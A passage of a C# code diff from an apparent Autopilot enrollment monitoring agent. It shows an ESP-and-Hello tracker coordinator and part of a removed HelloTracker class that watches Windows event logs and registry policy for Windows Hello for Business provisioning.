private readonly int[] _modernDeploymentHarmlessEventIds;
|
||||
|
||||
private HelloTracker _helloTracker;
|
||||
private ShellCoreTracker _shellCoreTracker;
|
||||
private ProvisioningStatusTracker _provisioningTracker;
|
||||
private ModernDeploymentTracker _modernDeploymentTracker;
|
||||
|
||||
/// <summary>
|
||||
/// Callback invoked when Hello provisioning completes (successfully, failed, skipped, or timeout).
|
||||
/// Based on events 300/301/362 only — NOT on event 360 (which is just a snapshot).
|
||||
/// </summary>
|
||||
public event EventHandler HelloCompleted;
|
||||
|
||||
/// <summary>
|
||||
/// Callback invoked when ESP exit or Hello wizard start is detected.
|
||||
/// Triggers transition to FinalizingSetup phase in <c>EnrollmentTracker</c>.
|
||||
/// </summary>
|
||||
public event EventHandler<string> FinalizingSetupPhaseTriggered;
|
||||
|
||||
/// <summary>
|
||||
/// Fired when WhiteGlove (Pre-Provisioning) completes successfully.
|
||||
/// The device will shut down; the agent should terminate gracefully.
|
||||
/// </summary>
|
||||
public event EventHandler WhiteGloveCompleted;
|
||||
|
||||
/// <summary>
|
||||
/// Fired when an ESP failure is detected (ESPProgress_Failure, _Timeout, _Abort,
|
||||
/// WhiteGlove_Failed, Provisioning_*_Failed, etc.). The string is the structured failure type.
|
||||
/// </summary>
|
||||
public event EventHandler<string> EspFailureDetected;
|
||||
|
||||
/// <summary>
|
||||
/// Fired when DeviceSetup provisioning status shows categorySucceeded=true (or fallback confirmed).
|
||||
/// Used as a completion signal for Self-Deploying mode where Shell-Core ESP exit and
|
||||
/// desktop arrival signals may never arrive.
|
||||
/// </summary>
|
||||
public event EventHandler DeviceSetupProvisioningComplete;
|
||||
|
||||
/// <summary>
|
||||
/// Outcome of Hello provisioning. Set when Hello resolves (via events, timeout, or not configured).
|
||||
/// Values: "completed", "skipped", "timeout", "not_configured", "wizard_not_started", null (not yet resolved).
|
||||
/// </summary>
|
||||
public string HelloOutcome => _helloTracker?.HelloOutcome;
|
||||
|
||||
/// <summary>
|
||||
/// True when Windows Hello for Business policy is configured (enabled or disabled).
|
||||
/// </summary>
|
||||
public bool IsPolicyConfigured => _helloTracker?.IsPolicyConfigured ?? false;
|
||||
|
||||
/// <summary>
|
||||
/// True when Windows Hello provisioning has completed (successfully, failed, or skipped).
|
||||
/// </summary>
|
||||
public bool IsHelloCompleted => _helloTracker?.IsHelloCompleted ?? false;
|
||||
|
||||
/// <summary>
|
||||
/// True when DeviceSetupCategory.Status has resolved categorySucceeded=true OR the fallback confirmed.
|
||||
/// </summary>
|
||||
public bool DeviceSetupCategorySucceeded => _provisioningTracker?.DeviceSetupCategorySucceeded ?? false;
|
||||
|
||||
/// <summary>
|
||||
/// True when any AccountSetup subcategory has been tracked (resolved or in progress).
|
||||
/// </summary>
|
||||
public bool HasAccountSetupActivity => _provisioningTracker?.HasAccountSetupActivity ?? false;
|
||||
|
||||
/// <summary>
|
||||
/// True once WhiteGlove start has been detected (EventID 509 or persisted from prior run).
|
||||
/// Forwarded from ModernDeploymentTracker.
|
||||
/// </summary>
|
||||
public bool IsWhiteGloveStartDetected => _modernDeploymentTracker?.IsWhiteGloveStartDetected ?? false;
|
||||
|
||||
/// <summary>
|
||||
/// True when DeviceSetup contains a SaveWhiteGloveSuccessResult subcategory with state "succeeded".
|
||||
/// This is a definitive WhiteGlove (Pre-Provisioning) confirmation signal from the ESP registry.
|
||||
/// </summary>
|
||||
public bool HasSaveWhiteGloveSuccessResult => _provisioningTracker?.HasSaveWhiteGloveSuccessResult ?? false;
|
||||
|
||||
public EspAndHelloTracker(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> onEventCollected,
|
||||
AgentLogger logger,
|
||||
int helloWaitTimeoutSeconds = 30,
|
||||
bool modernDeploymentWatcherEnabled = true,
|
||||
int modernDeploymentLogLevelMax = 3,
|
||||
bool modernDeploymentBackfillEnabled = true,
|
||||
int modernDeploymentBackfillLookbackMinutes = 30,
|
||||
string stateDirectory = null,
|
||||
int[] modernDeploymentHarmlessEventIds = null)
|
||||
{
|
||||
_sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
|
||||
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
_onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
_helloWaitTimeoutSeconds = helloWaitTimeoutSeconds;
|
||||
_modernDeploymentWatcherEnabled = modernDeploymentWatcherEnabled;
|
||||
_modernDeploymentLogLevelMax = modernDeploymentLogLevelMax;
|
||||
_modernDeploymentBackfillEnabled = modernDeploymentBackfillEnabled;
|
||||
_modernDeploymentBackfillLookbackMinutes = modernDeploymentBackfillLookbackMinutes;
|
||||
_stateDirectory = stateDirectory != null ? Environment.ExpandEnvironmentVariables(stateDirectory) : null;
|
||||
_modernDeploymentHarmlessEventIds = modernDeploymentHarmlessEventIds;
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Forwarded state/snapshot methods
|
||||
// =====================================================================
|
||||
|
||||
public System.Collections.Generic.Dictionary<string, bool?> GetProvisioningCategorySnapshot()
|
||||
=> _provisioningTracker?.GetProvisioningCategorySnapshot()
|
||||
?? new System.Collections.Generic.Dictionary<string, bool?>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
public EspProvisioningSnapshot GetProvisioningSnapshot() => _provisioningTracker?.GetProvisioningSnapshot();
|
||||
|
||||
// =====================================================================
|
||||
// Forwarded Hello coordination API
|
||||
// =====================================================================
|
||||
|
||||
/// <summary>
|
||||
/// Force-marks Hello as completed from an external caller (e.g. safety timeout in EnrollmentTracker).
|
||||
/// Does NOT invoke the HelloCompleted event — the caller handles completion logic directly.
|
||||
/// </summary>
|
||||
public void ForceMarkHelloCompleted(string reason) => _helloTracker?.ForceMarkHelloCompleted(reason);
|
||||
|
||||
/// <summary>
|
||||
/// Starts the Hello wait timer. Called by EnrollmentTracker when AccountSetup phase exits.
|
||||
/// </summary>
|
||||
public void StartHelloWaitTimer() => _helloTracker?.StartHelloWaitTimer();
|
||||
|
||||
/// <summary>
|
||||
/// Resets Hello tracking state when ESP resumes after a mid-enrollment reboot (hybrid join).
|
||||
/// </summary>
|
||||
public void ResetForEspResumption() => _helloTracker?.ResetForEspResumption();
|
||||
|
||||
/// <summary>
|
||||
/// Backfills recent ESP exit and failure events from Shell-Core log on startup.
|
||||
/// Secondary recovery mechanism when state persistence is unavailable.
|
||||
/// </summary>
|
||||
public void BackfillRecentEspExitEvents() => _shellCoreTracker?.BackfillRecentEspExitEvents();
|
||||
|
||||
// =====================================================================
|
||||
// Lifecycle
|
||||
// =====================================================================
|
||||
|
||||
public void Start()
|
||||
{
|
||||
_logger.Info("Starting ESP and Hello tracker");
|
||||
|
||||
_helloTracker = new HelloTracker(
|
||||
_sessionId,
|
||||
_tenantId,
|
||||
_onEventCollected,
|
||||
_logger,
|
||||
_helloWaitTimeoutSeconds);
|
||||
_helloTracker.HelloCompleted += OnHelloCompleted;
|
||||
_helloTracker.Start();
|
||||
|
||||
_shellCoreTracker = new ShellCoreTracker(
|
||||
_sessionId,
|
||||
_tenantId,
|
||||
_onEventCollected,
|
||||
_logger,
|
||||
_helloTracker);
|
||||
_shellCoreTracker.FinalizingSetupPhaseTriggered += OnFinalizingSetupPhaseTriggered;
|
||||
_shellCoreTracker.WhiteGloveCompleted += OnWhiteGloveCompleted;
|
||||
_shellCoreTracker.EspFailureDetected += OnEspFailureDetected;
|
||||
_shellCoreTracker.Start();
|
||||
|
||||
_provisioningTracker = new ProvisioningStatusTracker(
|
||||
_sessionId,
|
||||
_tenantId,
|
||||
_onEventCollected,
|
||||
_logger);
|
||||
_provisioningTracker.EspFailureDetected += OnEspFailureDetected;
|
||||
_provisioningTracker.DeviceSetupProvisioningComplete += OnDeviceSetupProvisioningComplete;
|
||||
_provisioningTracker.Start();
|
||||
|
||||
if (_modernDeploymentWatcherEnabled)
|
||||
{
|
||||
_modernDeploymentTracker = new ModernDeploymentTracker(
|
||||
_sessionId,
|
||||
_tenantId,
|
||||
_onEventCollected,
|
||||
_logger,
|
||||
_modernDeploymentLogLevelMax,
|
||||
_modernDeploymentBackfillEnabled,
|
||||
_modernDeploymentBackfillLookbackMinutes,
|
||||
_stateDirectory,
|
||||
_modernDeploymentHarmlessEventIds);
|
||||
_modernDeploymentTracker.Start();
|
||||
}
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
_logger.Info("Stopping ESP and Hello tracker");
|
||||
|
||||
DisposeTracker(ref _modernDeploymentTracker, "ModernDeployment", t => t.Stop());
|
||||
DisposeProvisioningTracker();
|
||||
DisposeShellCoreTracker();
|
||||
DisposeHelloTracker();
|
||||
}
|
||||
|
||||
public void Dispose() => Stop();
|
||||
|
||||
private void DisposeHelloTracker()
|
||||
{
|
||||
if (_helloTracker == null) return;
|
||||
try
|
||||
{
|
||||
_helloTracker.HelloCompleted -= OnHelloCompleted;
|
||||
_helloTracker.Stop();
|
||||
}
|
||||
catch (Exception ex) { _logger.Error("Error stopping Hello tracker", ex); }
|
||||
_helloTracker = null;
|
||||
}
|
||||
|
||||
private void DisposeShellCoreTracker()
|
||||
{
|
||||
if (_shellCoreTracker == null) return;
|
||||
try
|
||||
{
|
||||
_shellCoreTracker.FinalizingSetupPhaseTriggered -= OnFinalizingSetupPhaseTriggered;
|
||||
_shellCoreTracker.WhiteGloveCompleted -= OnWhiteGloveCompleted;
|
||||
_shellCoreTracker.EspFailureDetected -= OnEspFailureDetected;
|
||||
_shellCoreTracker.Stop();
|
||||
}
|
||||
catch (Exception ex) { _logger.Error("Error stopping Shell-Core tracker", ex); }
|
||||
_shellCoreTracker = null;
|
||||
}
|
||||
|
||||
private void DisposeProvisioningTracker()
|
||||
{
|
||||
if (_provisioningTracker == null) return;
|
||||
try
|
||||
{
|
||||
_provisioningTracker.EspFailureDetected -= OnEspFailureDetected;
|
||||
_provisioningTracker.DeviceSetupProvisioningComplete -= OnDeviceSetupProvisioningComplete;
|
||||
_provisioningTracker.Stop("tracker_stopped");
|
||||
}
|
||||
catch (Exception ex) { _logger.Error("Error stopping provisioning status tracker", ex); }
|
||||
_provisioningTracker = null;
|
||||
}
|
||||
|
||||
private void DisposeTracker<T>(ref T tracker, string name, Action<T> stopper) where T : class
|
||||
{
|
||||
if (tracker == null) return;
|
||||
try { stopper(tracker); }
|
||||
catch (Exception ex) { _logger.Error($"Error stopping {name} tracker", ex); }
|
||||
tracker = null;
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Event forwarders
|
||||
// =====================================================================
|
||||
|
||||
private void OnHelloCompleted(object sender, EventArgs e)
|
||||
{
|
||||
try { HelloCompleted?.Invoke(this, EventArgs.Empty); }
|
||||
catch (Exception ex) { _logger.Error("Error forwarding HelloCompleted", ex); }
|
||||
}
|
||||
|
||||
private void OnFinalizingSetupPhaseTriggered(object sender, string reason)
|
||||
{
|
||||
try { FinalizingSetupPhaseTriggered?.Invoke(this, reason); }
|
||||
catch (Exception ex) { _logger.Error("Error forwarding FinalizingSetupPhaseTriggered", ex); }
|
||||
}
|
||||
|
||||
private void OnWhiteGloveCompleted(object sender, EventArgs e)
|
||||
{
|
||||
try { WhiteGloveCompleted?.Invoke(this, EventArgs.Empty); }
|
||||
catch (Exception ex) { _logger.Error("Error forwarding WhiteGloveCompleted", ex); }
|
||||
}
|
||||
|
||||
private void OnEspFailureDetected(object sender, string failureType)
|
||||
{
|
||||
try { EspFailureDetected?.Invoke(this, failureType); }
|
||||
catch (Exception ex) { _logger.Error($"Error forwarding EspFailureDetected for '{failureType}'", ex); }
|
||||
}
|
||||
|
||||
private void OnDeviceSetupProvisioningComplete(object sender, EventArgs e)
|
||||
{
|
||||
try { DeviceSetupProvisioningComplete?.Invoke(this, EventArgs.Empty); }
|
||||
catch (Exception ex) { _logger.Error("Error forwarding DeviceSetupProvisioningComplete", ex); }
|
||||
}
|
||||
}
|
||||
}
|
||||
-997
@@ -1,997 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics.Eventing.Reader;
|
||||
using System.Text.RegularExpressions;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals
|
||||
{
|
||||
/// <summary>
|
||||
/// Tracks Windows Hello for Business (WHfB) provisioning during Autopilot enrollment.
|
||||
///
|
||||
/// Signals:
|
||||
/// - User Device Registration/Admin: 300/301/358/360/362/376 (NGC key lifecycle)
|
||||
/// - HelloForBusiness/Operational: 3024/6045 (processing start/stop + skip HRESULT)
|
||||
/// - Registry (CSP + GPO): PassportForWork policy detection
|
||||
/// - External "wizard started" signal from ESP (Shell-Core 62404)
|
||||
/// - External "ESP exited" signal from ESP (Shell-Core 62407)
|
||||
///
|
||||
/// Completion outcomes: "completed", "skipped", "timeout", "not_configured", "wizard_not_started".
|
||||
/// </summary>
|
||||
internal sealed class HelloTracker : IDisposable
|
||||
{
|
||||
internal const string UdrEventLogChannel = "Microsoft-Windows-User Device Registration/Admin";
|
||||
internal const string HelloForBusinessEventLogChannel = "Microsoft-Windows-HelloForBusiness/Operational";
|
||||
|
||||
internal const string CspPolicyBasePath = @"SOFTWARE\Microsoft\Policies\PassportForWork";
|
||||
internal const string GpoPolicyPath = @"SOFTWARE\Policies\Microsoft\PassportForWork";
|
||||
|
||||
internal const int EventId_NgcKeyRegistered = 300;
|
||||
internal const int EventId_NgcKeyRegistrationFailed = 301;
|
||||
internal const int EventId_ProvisioningWillLaunch = 358;
|
||||
internal const int EventId_ProvisioningWillNotLaunch = 360;
|
||||
internal const int EventId_ProvisioningBlocked = 362;
|
||||
internal const int EventId_PinStatus = 376;
|
||||
|
||||
internal const int EventId_HelloForBusiness_ProcessingStarted = 3024;
|
||||
internal const int EventId_HelloForBusiness_ProcessingStopped = 6045;
|
||||
|
||||
internal const string HResult_UserSkippedHello = "0x801C044F";
|
||||
|
||||
internal const int HelloCompletionTimeoutSeconds = 300;
|
||||
internal const int BackfillLookbackMinutes = 5;
|
||||
|
||||
private static readonly HashSet<int> TrackedUdrEventIds = new HashSet<int>
|
||||
{
|
||||
EventId_NgcKeyRegistered,
|
||||
EventId_NgcKeyRegistrationFailed,
|
||||
EventId_ProvisioningWillLaunch,
|
||||
EventId_ProvisioningWillNotLaunch,
|
||||
EventId_ProvisioningBlocked,
|
||||
EventId_PinStatus
|
||||
};
|
||||
|
||||
private static readonly HashSet<int> TrackedHelloForBusinessEventIds = new HashSet<int>
|
||||
{
|
||||
EventId_HelloForBusiness_ProcessingStarted,
|
||||
EventId_HelloForBusiness_ProcessingStopped
|
||||
};
|
||||
|
||||
private static readonly Regex HResultPattern = new Regex(@"0x[0-9A-Fa-f]{8}", RegexOptions.Compiled);
|
||||
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _onEventCollected;
|
||||
private readonly int _helloWaitTimeoutSeconds;
|
||||
|
||||
private EventLogWatcher _udrWatcher;
|
||||
private EventLogWatcher _helloForBusinessWatcher;
|
||||
private System.Threading.Timer _policyCheckTimer;
|
||||
private System.Threading.Timer _helloWaitTimer;
|
||||
private System.Threading.Timer _helloCompletionTimer;
|
||||
|
||||
private bool _isPolicyConfigured;
|
||||
private bool _isHelloPolicyEnabled;
|
||||
private bool _isHelloCompleted;
|
||||
private bool _helloWizardStarted;
|
||||
private bool _espExitSeen;
|
||||
private readonly object _stateLock = new object();
|
||||
|
||||
public event EventHandler HelloCompleted;
|
||||
|
||||
public string HelloOutcome { get; private set; }
|
||||
|
||||
public bool IsPolicyConfigured { get { lock (_stateLock) { return _isPolicyConfigured; } } }
|
||||
|
||||
public bool IsHelloCompleted { get { lock (_stateLock) { return _isHelloCompleted; } } }
|
||||
|
||||
public HelloTracker(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> onEventCollected,
|
||||
AgentLogger logger,
|
||||
int helloWaitTimeoutSeconds = 30)
|
||||
{
|
||||
_sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
|
||||
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
_onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
_helloWaitTimeoutSeconds = helloWaitTimeoutSeconds;
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Lifecycle
|
||||
// =====================================================================
|
||||
|
||||
public void Start()
|
||||
{
|
||||
CheckHelloPolicy();
|
||||
|
||||
_policyCheckTimer = new System.Threading.Timer(
|
||||
_ => CheckHelloPolicy(),
|
||||
null,
|
||||
TimeSpan.FromSeconds(10),
|
||||
TimeSpan.FromSeconds(10));
|
||||
|
||||
StartUdrEventLogWatcher();
|
||||
StartHelloForBusinessEventLogWatcher();
|
||||
|
||||
BackfillRecentTerminalHelloEvents();
|
||||
BackfillRecentHelloForBusinessEvents();
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
DisposeTimer(ref _policyCheckTimer, "policy check");
|
||||
DisposeTimer(ref _helloWaitTimer, "Hello wait");
|
||||
DisposeTimer(ref _helloCompletionTimer, "Hello completion");
|
||||
|
||||
if (_udrWatcher != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_udrWatcher.Enabled = false;
|
||||
_udrWatcher.EventRecordWritten -= OnUdrEventRecordWritten;
|
||||
_udrWatcher.Dispose();
|
||||
_udrWatcher = null;
|
||||
}
|
||||
catch (Exception ex) { _logger.Error("Error stopping UDR watcher", ex); }
|
||||
}
|
||||
|
||||
if (_helloForBusinessWatcher != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_helloForBusinessWatcher.Enabled = false;
|
||||
_helloForBusinessWatcher.EventRecordWritten -= OnHelloForBusinessEventRecordWritten;
|
||||
_helloForBusinessWatcher.Dispose();
|
||||
_helloForBusinessWatcher = null;
|
||||
}
|
||||
catch (Exception ex) { _logger.Error("Error stopping HelloForBusiness watcher", ex); }
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose() => Stop();
|
||||
|
||||
private void DisposeTimer(ref System.Threading.Timer timer, string name)
|
||||
{
|
||||
if (timer == null) return;
|
||||
try { timer.Dispose(); }
|
||||
catch (Exception ex) { _logger.Error($"Error stopping {name} timer", ex); }
|
||||
timer = null;
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// External coordination API (called by EspTracker / coordinator)
|
||||
// =====================================================================
|
||||
|
||||
/// <summary>
|
||||
/// Force-marks Hello as completed from an external caller (e.g. safety timeout in EnrollmentTracker).
|
||||
/// Does NOT invoke the HelloCompleted event — the caller handles completion logic directly.
|
||||
/// </summary>
|
||||
public void ForceMarkHelloCompleted(string reason)
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_isHelloCompleted) return;
|
||||
_isHelloCompleted = true;
|
||||
HelloOutcome = reason;
|
||||
StopHelloCompletionTimerLocked();
|
||||
_logger.Warning($"Hello force-completed by external caller: {reason}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Resets Hello tracking state when ESP resumes after a mid-enrollment reboot (hybrid join).
|
||||
/// Stops all running timers and clears Hello state so the timer chain restarts fresh when
|
||||
/// ESP exits again for real.
|
||||
/// </summary>
|
||||
public void ResetForEspResumption()
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
_helloWaitTimer?.Dispose();
|
||||
_helloWaitTimer = null;
|
||||
_helloCompletionTimer?.Dispose();
|
||||
_helloCompletionTimer = null;
|
||||
|
||||
_isHelloCompleted = false;
|
||||
_helloWizardStarted = false;
|
||||
_espExitSeen = false;
|
||||
HelloOutcome = null;
|
||||
}
|
||||
_logger.Info("HelloTracker: Reset for ESP resumption — Hello tracking restarted");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the Hello wait timer. Called by EnrollmentTracker when AccountSetup phase exits.
|
||||
/// Waits for Hello wizard to start (Shell-Core event 62404, reported via
|
||||
/// <see cref="NotifyHelloWizardStarted"/>) within the configured timeout.
|
||||
/// If timeout expires without Hello wizard, marks Hello as completed so enrollment can proceed.
|
||||
/// </summary>
|
||||
public void StartHelloWaitTimer()
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_helloWizardStarted)
|
||||
{
|
||||
_logger.Debug("StartHelloWaitTimer called but Hello wizard already started - skipping");
|
||||
return;
|
||||
}
|
||||
|
||||
if (_isHelloCompleted)
|
||||
{
|
||||
_logger.Debug("StartHelloWaitTimer called but Hello already completed - skipping");
|
||||
return;
|
||||
}
|
||||
|
||||
if (_helloWaitTimer != null)
|
||||
{
|
||||
_logger.Debug("StartHelloWaitTimer called but timer already running - skipping");
|
||||
return;
|
||||
}
|
||||
|
||||
_logger.Info($"Starting Hello wait timer ({_helloWaitTimeoutSeconds}s) - waiting for Hello wizard to start");
|
||||
_helloWaitTimer = new System.Threading.Timer(
|
||||
OnHelloWaitTimeout,
|
||||
null,
|
||||
TimeSpan.FromSeconds(_helloWaitTimeoutSeconds),
|
||||
TimeSpan.FromMilliseconds(-1));
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Called by the ESP tracker when Shell-Core event 62404 fires with AADHello/NGC context.
|
||||
/// Stops the wait timer (if running) and arms the long completion timer to catch cases
|
||||
/// where the wizard appeared but no terminal Hello event arrives.
|
||||
/// </summary>
|
||||
public void NotifyHelloWizardStarted()
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_helloWizardStarted) return;
|
||||
_helloWizardStarted = true;
|
||||
|
||||
if (_helloWaitTimer != null)
|
||||
{
|
||||
_helloWaitTimer.Dispose();
|
||||
_helloWaitTimer = null;
|
||||
_logger.Info($"Hello wizard started within {_helloWaitTimeoutSeconds}s timeout - stopping wait timer");
|
||||
}
|
||||
|
||||
StartHelloCompletionTimerLocked();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Called by the ESP tracker when the ESP exits (Shell-Core 62407 with OOBE_ESP*Exiting).
|
||||
/// Used only for informational data fields in wait/completion timeout events.
|
||||
/// </summary>
|
||||
public void NotifyEspExited()
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
_espExitSeen = true;
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Policy detection (CSP + GPO)
|
||||
// =====================================================================
|
||||
|
||||
private void CheckHelloPolicy()
|
||||
{
|
||||
try
|
||||
{
|
||||
var (isEnabled, source) = DetectHelloPolicy();
|
||||
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (!_isPolicyConfigured && isEnabled.HasValue)
|
||||
{
|
||||
_isPolicyConfigured = true;
|
||||
_isHelloPolicyEnabled = isEnabled.Value;
|
||||
var status = isEnabled.Value ? "enabled" : "disabled";
|
||||
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "hello_policy_detected",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EspAndHelloTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Windows Hello for Business policy detected: {status} (via {source})",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "helloEnabled", isEnabled.Value },
|
||||
{ "policySource", source }
|
||||
}
|
||||
});
|
||||
|
||||
_logger.Info($"WHfB policy detected: {status} (source: {source})");
|
||||
|
||||
if (_policyCheckTimer != null)
|
||||
{
|
||||
_policyCheckTimer.Dispose();
|
||||
_policyCheckTimer = null;
|
||||
_logger.Debug("Stopped periodic Hello policy check - policy has been detected");
|
||||
}
|
||||
}
|
||||
else if (!_isPolicyConfigured && !isEnabled.HasValue)
|
||||
{
|
||||
_logger.Debug("Periodic Hello policy check: No WHfB policy found yet - will check again");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Error checking WHfB policy: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private (bool? isEnabled, string source) DetectHelloPolicy()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var baseCspKey = Registry.LocalMachine.OpenSubKey(CspPolicyBasePath, false))
|
||||
{
|
||||
if (baseCspKey != null)
|
||||
{
|
||||
foreach (var tenantSubKey in baseCspKey.GetSubKeyNames())
|
||||
{
|
||||
using (var tenantKey = baseCspKey.OpenSubKey(tenantSubKey, false))
|
||||
{
|
||||
if (tenantKey != null)
|
||||
{
|
||||
foreach (var scopeSubKey in tenantKey.GetSubKeyNames())
|
||||
{
|
||||
using (var policiesKey = tenantKey.OpenSubKey($@"{scopeSubKey}\Policies", false))
|
||||
{
|
||||
if (policiesKey != null)
|
||||
{
|
||||
var value = policiesKey.GetValue("UsePassportForWork");
|
||||
if (value != null)
|
||||
{
|
||||
var scope = scopeSubKey.Equals("Device", StringComparison.OrdinalIgnoreCase)
|
||||
? "device"
|
||||
: "user";
|
||||
return (Convert.ToInt32(value) == 1, $"CSP/Intune ({scope}-scoped)");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
try
|
||||
{
|
||||
using (var gpoKey = Registry.LocalMachine.OpenSubKey(GpoPolicyPath, false))
|
||||
{
|
||||
if (gpoKey != null)
|
||||
{
|
||||
var value = gpoKey.GetValue("Enabled");
|
||||
if (value != null)
|
||||
{
|
||||
return (Convert.ToInt32(value) == 1, "GPO");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
return (null, null);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// UDR event log watcher (events 300/301/358/360/362/376)
|
||||
// =====================================================================
|
||||
|
||||
private void StartUdrEventLogWatcher()
|
||||
{
|
||||
try
|
||||
{
|
||||
var query = new EventLogQuery(
|
||||
UdrEventLogChannel,
|
||||
PathType.LogName,
|
||||
"*[System[(EventID=300 or EventID=301 or EventID=358 or EventID=360 or EventID=362 or EventID=376)]]");
|
||||
|
||||
_udrWatcher = new EventLogWatcher(query);
|
||||
_udrWatcher.EventRecordWritten += OnUdrEventRecordWritten;
|
||||
_udrWatcher.Enabled = true;
|
||||
|
||||
_logger.Info($"Started watching: {UdrEventLogChannel}");
|
||||
}
|
||||
catch (EventLogNotFoundException)
|
||||
{
|
||||
_logger.Warning($"Event log not found: {UdrEventLogChannel} (normal if not on a real device)");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Failed to start Hello event log watcher", ex);
|
||||
}
|
||||
}
|
||||
|
||||
private void OnUdrEventRecordWritten(object sender, EventRecordWrittenEventArgs e)
|
||||
{
|
||||
if (e.EventRecord == null) return;
|
||||
|
||||
try
|
||||
{
|
||||
var record = e.EventRecord;
|
||||
var eventId = record.Id;
|
||||
if (!TrackedUdrEventIds.Contains(eventId)) return;
|
||||
|
||||
ProcessHelloEvent(
|
||||
eventId,
|
||||
(record.TimeCreated ?? DateTime.UtcNow).ToUniversalTime(),
|
||||
record.ProviderName ?? "",
|
||||
isBackfill: false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error processing Hello event record", ex);
|
||||
}
|
||||
}
|
||||
|
||||
internal void ProcessHelloEvent(int eventId, DateTime timestamp, string providerName, bool isBackfill)
|
||||
{
|
||||
string eventType;
|
||||
EventSeverity severity;
|
||||
string message;
|
||||
bool shouldTriggerHelloCompleted = false;
|
||||
|
||||
switch (eventId)
|
||||
{
|
||||
case EventId_ProvisioningWillLaunch: // 358
|
||||
eventType = "hello_provisioning_willlaunch";
|
||||
severity = EventSeverity.Info;
|
||||
message = "Windows Hello for Business provisioning will launch - prerequisites passed (snapshot only, not a final state)";
|
||||
_logger.Info("Windows Hello provisioning will launch - prerequisites passed (snapshot only, not a final state)");
|
||||
break;
|
||||
|
||||
case EventId_NgcKeyRegistered: // 300
|
||||
eventType = "hello_provisioning_completed";
|
||||
severity = EventSeverity.Info;
|
||||
message = "Windows Hello for Business provisioned successfully - NGC key registered";
|
||||
shouldTriggerHelloCompleted = MarkHelloCompleted();
|
||||
_logger.Info("Windows Hello provisioning COMPLETED successfully");
|
||||
break;
|
||||
|
||||
case EventId_NgcKeyRegistrationFailed: // 301
|
||||
eventType = "hello_provisioning_failed";
|
||||
severity = EventSeverity.Error;
|
||||
message = "Windows Hello for Business provisioning failed - NGC key registration error";
|
||||
shouldTriggerHelloCompleted = MarkHelloCompleted();
|
||||
_logger.Info("Windows Hello provisioning COMPLETED with failure");
|
||||
break;
|
||||
|
||||
case EventId_ProvisioningWillNotLaunch: // 360
|
||||
eventType = "hello_provisioning_willnotlaunch";
|
||||
severity = EventSeverity.Warning;
|
||||
message = "Windows Hello for Business provisioning prerequisites not met (snapshot only, not a final state)";
|
||||
// DO NOT mark Hello as completed - event 360 is just a snapshot and can change
|
||||
_logger.Info("Windows Hello provisioning prerequisites not met (snapshot, not terminal)");
|
||||
break;
|
||||
|
||||
case EventId_ProvisioningBlocked: // 362
|
||||
eventType = "hello_provisioning_blocked";
|
||||
severity = EventSeverity.Warning;
|
||||
message = "Windows Hello for Business provisioning blocked";
|
||||
shouldTriggerHelloCompleted = MarkHelloCompleted();
|
||||
_logger.Info("Windows Hello provisioning COMPLETED (blocked)");
|
||||
break;
|
||||
|
||||
case EventId_PinStatus: // 376
|
||||
eventType = "hello_pin_status";
|
||||
